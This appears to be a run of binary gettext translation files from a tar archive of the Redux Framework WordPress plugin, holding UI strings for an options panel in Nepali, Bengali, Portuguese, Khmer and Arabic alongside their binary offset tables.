���)�����)�����*�����*�����+*��!���;*��+���]*�����*�����*�����z+�����,��(���!,�����J,�����g,�����-�����-�����Z.�����/�����/�����0�����/1����1����2��/���3����� 4��2���4�����^����������������������� ����������)���-���������������;���6���3���������*���_��� ������ ���m���e���i���[���]���"������(�������.���b������P������T���E�������9������V����������Y��� �������%���G���L���?���7�������K���'�������O���,��������������l��������������S��� �����������4���H���1���j�������N���U���&������B����������h���=����������`���C���J���X����������M�������2���D���c���/���a����������d���$������Z����������0����������R���8�������#���5�������k���!���������������W���A���I����������>���F���g�����������<���Q���+�������f��������������� ������\�������:�������@����Activate Demo Mode�Active�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Position�Background Repeat�Backup Font Family�Border style�Bottom�Clear Gallery�Click here to activate the sample config file.�Close�Deactivate Demo Mode�Default�Delete�Description�Developer Mode Enabled�Dismiss�Do not allow tracking�Expand�Export Options�Font Family�Font color�Font family�Font script�Font style�Font subsets�From �Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hover�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Name�No items of this type were found.�No media selected�Options�Options Object�Options panel created using %1$s�Password�Please Wait�Redux Framework�Redux Framework has an embedded demo.�Regular�Remove�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subsets�System Info�This field must be a valid color value.�This field must be a valid date.�Title�To �Top�Transparent�URL�Units�Upload�User�Username�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Warning- This options panel will not work properly without javascript!�Width�Word Spacing�Working...�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�error(s) were found!�has the proper read/write permissions or enter your FTP information below.�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Nepali (Nepal) (http://www.transifex.com/projects/p/redux-framework/language/ne_NP/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: ne_NP Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �डेमो मोड सक्रिय गर�सक्रिय�अझ थप्नुहोस�नयाँ / सम्पादन ग्यालरी�सबै�सबै पूर्वनिर्धारित पुनर्स्थापित!�ट्रयाकिङ अनुमति दिनुहोस्�तपाईं निश्चित हुनुहुन्छ? रिसेट गर्दा सबै कस्टम मानहरु गुम्नेछ !�तपाईं निश्चित हुनुहुन्छ? रिसेट गरेमा सबै कस्टम मान गुम्नेछ ।�तपाईं निश्चित हुनुहुन्छ? रिसेट गर्दा सबै कस्टम मानहरु गुम्नेछ !�पृष्ठभुमिको संलग्ऩवस्तु�पृष्ठभूमिको स्थान�पृष्ठभूमि दोहोराउने�जगेडा फन्ट रङ�सीमा शैली�तल�ग्यालरी खाली गर्नुस�नमूना सक्रिय गर्न यहाँ थिच्नुस�बन्द�डेमो मोड निष्क्रिय गर�पूर्वनिर्धारित�मेट्नुस�विवरण�डेभलपर मोड सक्षम�खारेज गर्नुहोस्�ट्रयाकिङ अनुमति नदिनुहोस्�विस्तार�विकल्पहरु निर्यात गर्नुस�अक्षरको परिवार�फन्ट रङ�फन्ट परिवार�फन्ट स्क्रिप्ट�फन्ट शैली�फन्ट सबसेटहरु �बाट�गुगल Webfonts�ऊचाई�हाम्रो प्यानल सुधार गर्न सहयोग गर्नुस�यहाँ तपाईं आफ्नो वर्तमान विकल्पहरु डाउनलोड / कपी गर्न सक्नु हुन्छ ! यसलाई सुरक्षित राख्नुस किनकि केहि बिग्रेमा यो जगेडाको रुपमा बस्नेछ अनि पछि यहि साइट (वा अन्य साइट) मा पुनःस्थापना गर्न सकिन्छ !�सङ्केत�होभर�आयात�आयात / निर्यात�विकल्पहरु आयात गर्नुस�URL बाट आयात गर्नुस�अर्को साइटबाट विकल्प ल्याउन यहाँ अर्को साइटको विकल्पको URL हाल्नुस अनि आयात थिच्नुस !�जगेडा फाइलबाट साइट विकल्पहरु पुनःस्थापना गर्न तल आफ्नो जगेडा फाइल हाल्नुहोस् अनि आयात थिच्नुस!�वायाँ�अक्षर खालीस्थान�नाम�यस प्रकारको कुनै आइटम पाइएन ।�मिडिया चयन गरिएको छैन�विकल्पहरु�विकल्प वस्तु�%1$s प्रयोग गरी विकल्प प्यानल बनाइयो�पासवर्ड�प्रतीक्षा गर्नुहोस्�Redux Framework�Redux Framework मा एम्बेडेड डेमो छ !�नियमित�हटाउनुस�सबै नष्ट गर्नुस�खण्ड नष्ट गर्नुस�दायाँ�परिवर्तनहरू बचत गर्नुस�खण्ड पूर्वनिर्धारित पुनर्स्थापित!�एउटा आइटम चयन गर्नुस�सेटिङहरू आयात गरियो!�सेटिङ बचत गरियो! �सेटिङहरू परिवर्तन गरिएका छन, तिनीहरूलाई बचत गर्नुस !�Object लाई Javascript Console Object मा देखाउनुस�आकार�स्लाइड�मानक फन्ट्स�खबर�शैली�सबसेटहरु�प्रणाली जानकारी�यो फिल्ड एक मान्य रंग मान हुनुपर्छ।�यो फिल्ड एक मान्य मिति हुनुपर्छ।�शीर्षक�तिर�माथि�पारदर्शी�URL�इकाइहरु�अपलोड�प्रयोगकर्ता�प्रयोगकर्ता नाम�हेरिएको�चेतावनी! सबै विद्यमान विकल्प मानहरु अधिलेखन हुनेछ, कृपया सावधानीसंग अगाडी बढ्नुस !�चेतावनी- यो विकल्प प्यानल javascript विना राम्ररी काम गर्नेछैन !�चौडाई�शब्द खालीस्थान�काम गर्दै...�परिवर्तनहरू बचत गरिएका छैनन् । तपाईं अब त्यसलाई बचत गर्न चाहनुहुन्छ?�परिवर्तनहरू बचत गरिएका छैनन् । तपाईं अब त्यसलाई बचत गर्न चाहनुहुन्छ?�यस फिल्डमा कुनै HTML नहाल्नुस, सबै HTML ट्याग हटाइएको छ।�यस फिल्डमा कुनै विशेष वर्ण हाल्न हुदैन, सबै विशेष वर्ण हटाइएको छ।�तपाईंले यो विकल्पका लागि संख्यात्मक मानको एक अल्पविराम विभाजित सूची प्रदान गर्नुपर्छ।�तपाईले यो विकल्पका लागि एक मान्य संख्यात्मक मान प्रदान गर्नुपर्छ।�तपाईले यो विकल्पका लागि एक मान्य URL प्रदान गर्नुपर्छ।�तपाईंले यो विकल्पका लागि वैध इमेल प्रदान गर्नुपर्छ।�वर्तमान विकल्पहरुमा पूर्व निर्धारित मानहरु प्रतिस्थापन गरिनेछ। तपाईं यो प्रक्रिया गर्न चाहनुहुन्छ?�वर्तमान विकल्पहरुमा पूर्व निर्धारित मानहरु प्रतिस्थापन गरिनेछ। तपाईं यो प्रक्रिया गर्न चाहनुहुन्छ?�त्रुटि (हरू) पाइयो!�उचित पढ्ने / लेख्ने अनुमति छ वा तल आफ्नो FTP जानकारी प्रविष्ट गर्नुहोस्।�चेतावनी (हरू) पाइयो!����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-bn_BD.mo��������������������������������������������������0000644�����������������00000015151�14720701300�0016252 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;��������O�������������� �������5��� ��D���V��4����������������������� ��.��������B�����H�����M�����b�����j�� ���q�����}������� ��������������� ����������������������������������� ���������������%���)�����O�� ���V�� ���`�����n�� ���t������������,��������������� ������������������������������ ���������� �����;���"��F���^��E�����a�����`���M ����� ����� ��n�� ��-���I �� ���w ����� ������������=���M��@�����F����� �����|��� �� ����� �����<�����������������������'�����@��!���S�����u�������%���������������(�������� �� ���0��(���=��m���f�������7�����r���(������� �����)����� �����5�����6���<��<���s������� ���2�����?��(���R�����{�� ���������������!���������� ������������� ����������m�����"�������'��� ��6���2�������� ������$���%���������.���1����������:����������"���������������������(���*�������������������8��������� ���)������6�������������3������/��� ���4�������������������+��� ������&��������������!���2�������'��� ���5���#���,����������;�������7���0���������� ����������������-�����������9����Activate Demo Mode�All�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Position�Background Repeat�Bottom�Click here to activate the sample config file.�Close�Copy�Deactivate Demo Mode�Default�Delete�Description�Disable�Dismiss�Documentation�Enable�Expand�Font Family�Height�Import�Import / Export�Left�Options�Options Object�Options panel created using %1$s�Password�Redux Framework�Redux Framework has an embedded demo.�Remove�Reset All�Reset Section�Right�Save Changes�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Size�Style�System Info�Title�Top�URL�Upload�Username�Version %s�Width�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�error(s) were found!�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-02-03 22:24:22+00:00 PO-Revision-Date: 2015-03-10 15:34+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Bengali (Bangladesh) (http://www.transifex.com/projects/p/redux-framework/language/bn_BD/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: bn_BD Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �ডেমো মোড চালু করো�সকল�আপনি কি নিশ্চিত? রিসেট করলে সব কাস্টম ভ্যালু মুছে দিবে।�আপনি কি নিশ্চিত? রিসেট করলে এই অংশের কাস্টম ভ্যালু হারিয়ে যাবে।�আপনি কি নিশ্চিত? রিসেট করলে সব কাস্টম ভ্যালু মুছে দিবে।�ব্যকগ্রাউন্ড সংযুক্তি�ব্যকগ্রাউন্ডের অবস্থান�ব্যকগ্রাউন্ড পুনরাবৃত্তি�নিচে�নমুনা কনফিগ ফাইলটি চালু করতে এখানে ক্লিক করুন।�বন্ধ�কপি�ডেমো মোড নিষ্ক্রীয় করো�ডিফল্ট�অপসারণ�বিবরণ�অকার্যকর�ভন্ডুল�ডকুমেন্টেশন�স্বক্রিয়�বর্ধিত করো�ফন্ট ফ্যামিলি�উচ্চতা�আমদানী�আমদানি/রপ্তানি�লিঙ্ক�অপশন�অপশন্স অবজেক্ট�অপশন্স প্যানেল তৈরি করেছেন %1$s ব্যবহার করে�পাসওয়ার্ড�রিডাক্স ফ্রেমওয়ার্ক�রিডাক্স ফ্রেমওয়ার্ক-এ একটি ডেমো যুক্ত আছে।�অপসারণ�সব রিসেট করো�সেকশন রিসেট করো�ডানে�পরিবর্তন সংরক্ষণ কর�সেটিংস আমদানি হয়েছে!�সেটিংস সংরক্ষিত হয়েছে!�সেটিংস পরিবর্তন হয়েছে, আপনার সে সংরক্ষণ করা উচিত!�আকার�স্টাইল�সিস্টেমের তথ্য�শিরোনাম�উপরে�ইউআরআই�আপলোড�ব্যবহারকারী�ভার্শন %s�চওড়া�কাজ চলছে...�এই পৃষ্ঠায় অনুপ্রবেশের জন্য প্রয়োজনীয় অনুমতি আপনার নেই।�আপনার কিছু অসংরক্ষিত পরিবর্তন আছে। আপনি কি তা এখনি সংরক্ষণ করতে চান?�আপনার কিছু অসংরক্ষিত পরিবর্তন আছে। আপনি কি তা এখনি সংরক্ষণ করতে চান?�আপনার বর্তমান অপশনগুলো এই প্রিসেটের ভ্যালু দিয়ে প্রতিস্থাপিত হবে। আপনি কি তা করতে দিতে চান?�আপনার বর্তমান অপশনগুলো এই প্রিসেটের ভ্যালু দিয়ে প্রতিস্থাপিত হবে। আপনি কি তা করতে দিতে চান?�ভুল পাওয়া গেছে!�ওয়ার্নিং পাওয়া গেছে!������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-pt_PT.mo��������������������������������������������������0000644�����������������00000015651�14720701300�0016341 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v�����������|������ ����� ����� ����� ����� ����� �����, �����0 �����G ��5���V ����� ����� ����� ����� ����� ����� �� ��� ����� �� ��� �� ��� �����) �����/ �����7 �����L �����T �� ���[ �� ���g �����q ����� ����� ����� �� ��� ����� ����� ����� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ���) �����6 �����< �����L �����S �����Y �����_ �����f �����v ����� ����� ����� ����� �� ��� ����� ����� �� ��� ��!��� ����� ����� ����� ����� ����� �� ��� �����* �����: �����J �����R �� ���Y �� ���c �����q �� ���w ����� ����� ����� ����� ����� ����� ����� �� ��� ����� ����� �� ��� �� ��� ����� ������������'���$�� ���L�����m�����s�����w�� ���{�������������������������������� ���������������U��������-�����M�� ���S�� ���`��;���k����������������������,�������������+�����=��o��T������������ ��������������������%��������<��N���R����������������� ����������������������������$�����<�����K�� ���R�����\�� ���p�����|�� ����� ���������� ��������������������������������� �� ��������)�����;�����L�� ���c�����p�����v����������������������������������������������������������������� �����%�����5�����:�����B��&���V�� ���}����������������� ��������������� ����������������������� ����� �����(�����=�����P�����i���������������������� ����� �����������������������������������&���"��'���I�����q�����y�����~�� �������������������� ����� ���������� ���������������d�����.���X�����������������<������������������� ����� ��,���:�����g�����|�������������T������� ���H�����������$���7���&���m���5��������������<���������B���A���Y�����������a����������!������� ������D�����������������������������S���h���%���#���k�������g������1���P�������;���b������f���"���-���q�������.��� ���F���\���n�������c������ ���U�������`���4���C������+���j���i���]�������W��������������2�������t��� ���r�������8�������0������J���[���6���R���e�������u�������/���I��������������'���3������N����������(���Q���V���Z�������������>���)��������������?���E���_������M���,���d���l�������@���*�������=���s���9���X������ ���L���^���o�������K���p���G���O����������v�����������:����������Activate Demo Mode�Active�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Changelog�Clear Gallery�Close�Credits�Deactivate Demo Mode�Default�Delete�Description�Developer�Developer Mode Enabled�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Font Color�Font Family�Font Size�Font Subsets�Font color�Font family�Font style�Font subsets�From �Getting Started�Height�Hints�Hover�Import�Import / Export�Import Options�Import from URL�Language�Left�Letter Spacing�Line Height�Name�New %s�Newsletter�No items of this type were found.�Off�On�Options�Options Object�Password�Please Wait�Redux Framework�Redux Generator�Regular�Remove�Reset All�Reset Section�Right�Save Changes�Select an item�Settings Imported!�Settings Saved!�Size�Slide�Status�Style�Subscribe�Subsets�Support�System Info�Text Align�Text Decoration�Text Transform�Theme�This field must be a valid color value.�This field must be a valid date.�Title�To �Top�Transparent�URL�Units�Upload�User�Username�Version�Version %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Welcome to the Redux Demo Panel�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�clicking�donation�error(s) were found!�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Portuguese (Portugal) (http://www.transifex.com/projects/p/redux-framework/language/pt_PT/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: pt_PT Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Ativar modo demo�Ativo�Adicionar %s�Adicionar mais�Adicionar/Editar Galeria�Todos�Todos as predefinições restauradas!�Permitir rastreamento�Tem a certeza que pretende repor? Irá perder todos os valores personalizados.�Anexo do fundo�Origem do fundo�Posição do fundo�Repetir fundo�Tamanho do fundo�Cópia da família da fonte�Estilo da borda�Fundo�Registo de alterações�Limpar Galeria�Fechar�Créditos�Desativar modo demo�Por defeito�Eliminar�Descrição�Developer�Modo de desenvolvedor ativo�Desactivar�Ignorar�Não permitir o rastreamento�Endereço de email�Ativar�Expandir�Exportar opções�Cor do texto�Família da Fonte�Tamanho do texto�Sub conjuntos da fonte�Cor da fonte�Fonte�Estilo da fonte�Sub conjuntos da fonte�De�Iniciar�Altura�Dicas�Sobre�Importar�Importar / Exportar�Importar opções�Importar de URL�Língua�Esquerda�Espaçamento entre letras�Altura da linha�Nome�Novo %s�Boletim Informativo�Nenhum item deste tipo foi encontrado.�Desligado�Ligado�Opções�Opções do Objeto�Palavra-passe�Por favor aguarde�Redux Framework�Gerador Redux�Normal�Remover�Restabelecer todos�Restabelecer secção�Direita�Guardar Alterações�Selecionar um item�Definições Importadas!�Definições Guardadas!�Tamanho�Deslizar�Estado�Estilo�Subscrever�Sub conjuntos�Suporte�Informações do sistema�Alinhamento do texto�Decoração do texto�Transformação do texto�Tema�Este campo tem de ter uma cor válida.�Este campo tem de ter uma data válida.�Título�Para�Topo�Transparente�URL�Unidades�Carregar�Utilizador�Utilizador�Versão�Versão %s�Visitar homepage do plugin�Visitado�Cuidado! Isto irá sobrepor todos os valores das opções existentes, por favor proceda com cuidado!�Bem vindo ao Painel de Demonstração do Redux�Largura�Espaçamento entre palavras�A trabalhar...�Não tem permissões suficientes para aceder a esta página.�clicando�doação�erro(s) encontrado(s)!�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�movendo o rato sobre�nossa documentação�aviso(s) encontrado(s)!����������������������������������������������������������������������������������������redux-framework/languages/redux-framework-km.mo�����������������������������������������������������0000644�����������������00000017443�14720701300�0015723 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������`�����������������(�����)�����0�����9�����J�����N�����]�����s����������������� ����� ������������������������� ����� ������������� ����� �� ���! �����/ �����6 �����= �� ���L �� ���W �� ���c �� ���n �� ���z ����� ����� ����� ����� ����� ����� ��Z��� ����� ����� �����0 �����? �����O �����T �� ���c �����o �� ���t ����� ����� ����� ����� ����� ����� �� ��� ����� ����� ����� ����� �� ��� ����� �� ��� ����� ����� �����3 �����C �����H �����W �����^ �� ���d �����n �� ���v �� ��� ����� ��3��� ����� ����� ����� �� ��� ����� ����� ����� ����� ����� �� ���� ����� ����� �� ��� �����& �� ���, �� ���9 ��;���D ����� ����� ����� ����� ����� ��R�� �����/�����K��=���j�������9�����E�����3���A��<���u��-����������E�����3���B�� ���v������������ �����$�����$�����$��������(��E���;��0����� ����������3�����$�����!���(�����J��!���f��6����������*�����������������������'����C�����T��'���g��3���������������-�����)���-�����W��$���g��6����� ����� ����������$�����'��������7��9���V�����������������B����������B���"��-���e��?�����C����� �����9���$�����^�����w������������0�����0�������������+����������������� ���������� �������������$��-���@�����n�� ���~�������'����� �����$�����*��������&��$�����C�����K���G��<�����R�����������B���+���*���������P��� ���=���[����������H���-����������E������N���<������� �������Z������S�����������D���\�������%��� ���#���(���R������F����������J�������I�������X�����������������Y������������������W�������G�����������������O���.���2���@�������������:��������������������)���'���7���C���`������0���&��������������3���4���"�����������T���>���]���V���;���A���9�����������_��� ���U���K���^�����������������Q���1���$�����������5���/����������M���,������6���8�������?���L������� �������!��� ����Active�Add More�Add/Edit Gallery�All�Allow tracking�Background Attachment�Background Position�Background Repeat�Background Size�Bottom�Changelog�Clear Gallery�Close�Credits�Default�Delete�Description�Developer�Disable�Dismiss�Do not allow tracking�Email address�Enable�Expand�Export Options�Extensions�Font Family�Font color�Font family�Font style�From �Getting Started�Google Webfonts�Height�Hints�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�Import�Import / Export�Import Options�Import from URL�Left�Letter Spacing�Like Redux?�Name�Newsletter�No media selected�Off�On�Options�Options Object�Password�Please Wait�Redux Extensions�Redux Framework�Regular�Remove�Reset All�Right�Save Changes�Select an item�Settings Imported!�Settings Saved!�Size�Standard Fonts�Status�Style�Subscribe�Support�System Info�Text Align�Theme�This field cannot be empty. Please provide a value.�Title�To �Top�Transparent�URL�Units�Upload�User�Username�Version %s�View %s�Visited�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�donation�error(s) were found!�extensions directory�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Khmer (http://www.transifex.com/projects/p/redux-framework/language/km/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: km Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �ដែល​សកម្ម�បន្ថែម​ទៀត�បន្ថែម​/កែ​វិចិត្រសាល�ទាំង​អស់�អនុញ្ញាត​ការ​តាមដាន�ឯកសារ​ភ្ជាប់​ផ្ទៃ​ក្រោយ�ទីតាំង​ផ្ទៃ​ក្រោយ�ធ្វើផ្ទៃ​ក្រោយ​ដដែលៗ�ទំហំ​ផ្ទៃ​ក្រោយ�ខាង​ក្រោម�កំណត់​ត្រា​ផ្លាស់​ប្ដូរ�សម្អាត​វិចិត្រសាល�បិទ�ក្រឌីដ�លំនាំ​ដើម�លុប�ការ​អធិប្បាយ�អ្នក​អភិវឌ្ឍ�មិន​អនុញ្ញាត�បំបាត់�មិន​អនុញ្ញាត​ការ​តាមដាន�អាសយដ្ឋាន​អ៊ីមែល�បើក�ពង្រីក�ជម្រើស​ការ​នាំចេញ�ផ្នែក​បន្ថែម�ពុម្ព​អក្សរ�ពណ៌​អក្សរ�ពុម្ព​អក្សរ�រចនាបថ​ពុម្ព​អក្សរ�ពី�ការ​ចាប់​ផ្ដើម�Google Webfonts�កម្ពស់�គន្លឹះ�ចង្អុល​លើ�ប្រសិន​បើ​ចូល​ចិត្ត សូម %1$s ហើយ​គិត​ធ្វើ %2$s ដើម្បី​រក្សា​ឲ្យ​ការ​អភិវឌ្ឍ Redux នៅ​តែ​ទៅ​មុខ​ជា​និច្ច។�នាំចូល�នាំចូល / នាំចេញ�ជម្រើស​ការ​នាំចូល�នាំចូល​ពី URL�ខាង​ឆ្វេង�គម្លាត​តួ​អក្សរ�ចូល​ចិត្ត Redux ទេ?�ឈ្មោះ�ព្រឹត្តិបត្រ�មិន​បាន​ជ្រើស​មេឌា�បិទ�បើក�ជម្រើស�ជម្រើស​វត្ថុ�ពាក្យ​សម្ងាត់�សូម​រង់ចាំ�ផ្នែក​បន្ថែម​របស់ Redux�Redux Framework�ធម្មតា�ដកចេញ�កំណត់​ឡើង​វិញ​ទាំង​អស់�ខាង​ស្ដាំ�រក្សាទុក​បន្លាស់​ប្ដូរ�ជ្រើស​វត្ថុ​មួយ�បាន​នាំចូល​ការ​កំណត់។�បាន​រក្សាទុក​ការ​កំណត់!�ទំហំ�ពុម្ពអក្សរ​ស្តង់ដារ�ស្ថានភាព�រចនាបថ�តាមដាន�ការគាំទ្រ�ព័ត៌មាន​ប្រព័ន្ធ�ការ​តម្រឹម​អក្សរ�ស្បែក�វាល​នេះ​មិន​ទទេ​បាន​ឡើយ។ សូម​ផ្ដល់​តម្លៃ​អ្វី​មួយ។�ឈ្មោះ�ទៅ�ខាង​លើ�ថ្លា�URL�ឯកតា�ផ្ទុក​ឡើង�អ្នក​ប្រើ�ឈ្មោះ​អ្នក​ប្រើ�កំណែ %s�មើល %s�បាន​មើល�អ្វី​ដែល​ថ្មី�ទទឹង�គម្លាត​ពាក្យ�កំពុង​ធ្វើការ...�អ្នក​គ្មាន​សិទ្ធិ​គ្រប់គ្រាន់​ដើម្បី​ចូល​ទៅកាន់​ទំព័រ​នេះ​ទេ។�ការ​បរិច្ចាគ�កំហុស​ត្រូវ​បាន​រក​ឃើញ!�ឃ្លាំង​ផ្ទុក​ផ្នែក​បន្ថែម�កម្រង​ឯកសារ​របស់​យើង�ការ​ព្រមាន​ត្រូវ​បាន​រក​ឃើញ!������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-ar.mo�����������������������������������������������������0000644�����������������00000041625�14720701300�0015715 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������t����� ������`�����a�����t��������������������������������5�����D�����4���W�� ��������������������������������� ������� ���.�����;�� ���B�� ���L��.���Z�������������������������������� ����� ����������l��������t�����|������� �������������������� ����� ����� ����� ����� ����������� ����� ���#�� ���/�� ���;�� ���F�����S�����Y�����i�����y���������������d�����j��Z���p��U��������!�����(�����8�����G��]���W��X��������������� ���"�� ���.��2���:�����m�� ���r��!���}��������������������������� ���������� ������������������&��%���@�����f��W���v����������������� ����� ���������� ��������� �����(�����7�����J��,���Z��(������������������������������ ��������������� ����� ������������������'��'����������.���r�������3�����'����� �����y���$����������������� ���������������(�������������������������� ������������������1��U���9�������F���t������������ ���������� ����� �����;�����F���[��E�����K�����b���4��L�����3�����-�����/���F��a���v��`��������9 �����B �����K �����` ��J���u ����� ��,��� ��,���!�����4!�����J!�����\!����s!��&���!%��$���H%�����m%�����v%��)���%�����%��A���%�����%��p���&�����&��p���'��/���'��$���'�����'�����'����� (�����"(�����<(��(���R(�����{(�� ���(�����(�����(��@���(�����)�����)��&���2)��$���Y)�����~)�����)�� ���)�� ���)��%���)�����)�� ���q*�� ���|*��"���*��!���*�� ���*�����*�����*�����*����� +�����+��&���.+�����U+�����g+�����+�����+�����+�����+�����+�����+�� ���+�����+�� ���,��%���,��I��B,�����-�� ���-�����-�����2.�����.�����.�����.�����/�����+/�����/�����c0�����l0�����0�����0��8���0�� ���0�����0��B���1�����b1�����1�����1�� ���1�����1��6���1�����1�����2�����#2�����=2��.���Z2��<���2�����2�����2�����3�� ���3�� ���3��+���3��-���3����� 4�����4��G���-4�����u4��'���4�����4��?���4��M���5�� ���]5�� ���h5�����u5�� ���5�����5�� ���5�����5�����5�����5�����5�����5�����6�����%6��M���7�����\7��4���G8�����|8��W���8��G���8��@���%9�����f9�����:�����!:�� ���(:�����5:�� ���>:�� ���K:��(���V:�����:�����:�����:�� ���:�����:�� ���:��"���:�����:��q���:��$��l;��m���<��5���<��C���5=�����y=�����=�����=�� ���=��Q���=��Q��� >��Q���\>��v���>��~���%?��g���?��E��� @��C���R@��I���@��q���@��q���RA�����A�� ���A��"���A�����B����� B�����B��,���B��>���B��%���/C�����UC�����uC���������0���������?���������a���i����������@���P���#���A���3����������W����������'������1������{���R����������������7������B�������n����������������l���(���E���L���y��� �������U���������}�����������������q���h���\����������V�����������>���C��� ���������������Y��������������2�������)���_���&���z������� ���������u����������c���!�������9����������=����������,��� 